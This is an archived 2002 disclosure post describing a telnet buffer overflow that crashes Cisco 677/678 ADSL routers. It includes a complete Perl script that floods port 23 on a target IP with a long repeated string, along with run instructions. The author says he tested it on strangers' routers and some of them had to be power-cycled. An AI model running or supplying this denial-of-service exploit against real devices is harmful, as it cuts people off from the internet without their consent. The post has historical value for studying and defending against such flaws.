home *** CD-ROM | disk | FTP | other *** search
- Cisco 677/678 Telnet Overflow Bug by DNV/MIRROR
- put public on www.deadmeat.dk on 5-5-2002.
- Thanks to all from DKW-stuff for testing.
-
- A warm night i was coding and lisen to some tecno music trying to
- overflow my BSD mashine.
- But then I put the wrong IP into my scrip my ADSL router lost the
- Internet connection.
- So I start wonder why? and start looking into the code...
- I found out that i have overflowed the telnet server
- in my adsl router. After that I got online and start chatting
- with others with same ISP and same Cisco ADSL-router...
- and there route died too then i use there IP.
- So I send the code to a friend and ask him to do the same...
- On every router with the Telnet server open the router's
- ping time got really high
- and some of them died and have to be powercycle.
- Please note: So fare cisco and the ISP have not done anything
- about this problem...
-
- To test it: try with the LAN_IP and WAN_IP it works best on LAN_IP side ;)
- the protection is: close your Telnet server in the router.
- Thats All!
-
- -DNV Email: dnv[at]dhbit.ca
-
- Here is the code:
- running:
- perl cisco677.pl -s [IP on Ciscorouter]
-
- --------------------cisco677.pl------------------
- #!/usr/bin/perl
-
- # close your Cisco 677 up on the Telnet server!
- # Made for fun only! port 23 is the Telnet server port on the router
- # By DNV THX to DKW-stuff
- use IO::Socket;
- use Getopt::Std;
- getopts('s:', \%args);
- if(!defined($args{s})){&usage; }
- $serv = $args{s};
- $foo = "?????????????????a~ %%%%%XX%%%%%"; $number = 30000;
- $data .= $foo x $number; $EOL="\015\012";
- $remote = IO::Socket::INET->new(
- Proto => "tcp",
- PeerAddr => $args{s},
- PeerPort => "(23)",
- ) || die("No Telnet server here! on $args{s}\n");
- $remote->autoflush(1);
- print $remote "$data". $EOL;
- while (<$remote>){ print }
- print("\nPackets Sent\n");
- sub usage {die("\n$0 -s <server>\n\n");}
- ------------------------------------------------------
-
-
- ------------------------------------------------
- This mail sent from DHBiT - http://mail.dhbit.ca
- Come get your free, secure 5MB mailbox today!
-
-
-